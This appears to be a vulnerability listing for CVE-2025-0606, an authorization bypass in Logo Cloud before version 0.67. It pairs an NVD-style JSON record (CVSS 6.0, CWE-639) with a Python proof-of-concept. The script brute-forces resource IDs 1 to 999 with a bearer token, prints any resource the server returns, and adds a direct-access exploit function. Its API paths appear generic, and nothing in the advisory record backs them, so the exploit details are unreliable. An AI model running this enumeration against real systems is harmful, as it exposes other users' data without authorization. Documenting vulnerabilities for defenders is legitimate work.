CVE-2025-0606

# CVE-2025-0606 - Logo Cloud Authorization Bypass PoC # Vulnerability: Authorization Bypass Through User-Controlled Key # Affected: Logo Cloud < 0.67 import requests # Configuration TARGET_URL = "https://target-logo-cloud.example.com" AUTH_TOKEN = "Bearer <attacker_token>" # Valid authentication token (high privilege required) # Step 1: Login and obtain session session = requests.Session() headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Step 2: Enumerate resource IDs by incrementing # The vulnerability allows accessing resources by manipulating the user-controlled key for resource_id in range(1, 1000): # Step 3: Request resource with manipulated ID (forceful browsing) url = f"{TARGET_URL}/api/v1/resources/{resource_id}" response = session.get(url, headers=headers) if response.status_code == 200: # Step 4: Resource accessed without proper authorization check print(f"[+] Resource {resource_id} accessed: {response.json()}") elif response.status_code == 403: # Properly authorized resource - skip continue elif response.status_code == 404: # Resource not found continue # Alternative exploitation via direct API call def exploit_resource(target_resource_id): """ Exploit: Access arbitrary resource by manipulating user-controlled key The server fails to verify that the requested resource belongs to the authenticated user """ endpoint = f"{TARGET_URL}/api/v1/cloud/resource/{target_resource_id}" resp = session.get(endpoint, headers=headers) if resp.status_code == 200: return resp.json() return None

{"cve": {"id": "CVE-2025-0606", "sourceIdentifier": "[email protected]", "published": "2025-10-06T09:15:33.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Logo Software Inc. Logo Cloud allows Forceful Browsing, Resource Leak Exposure.This issue affects Logo Cloud: before 0.67."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0318", "source": "[email protected]"}]}}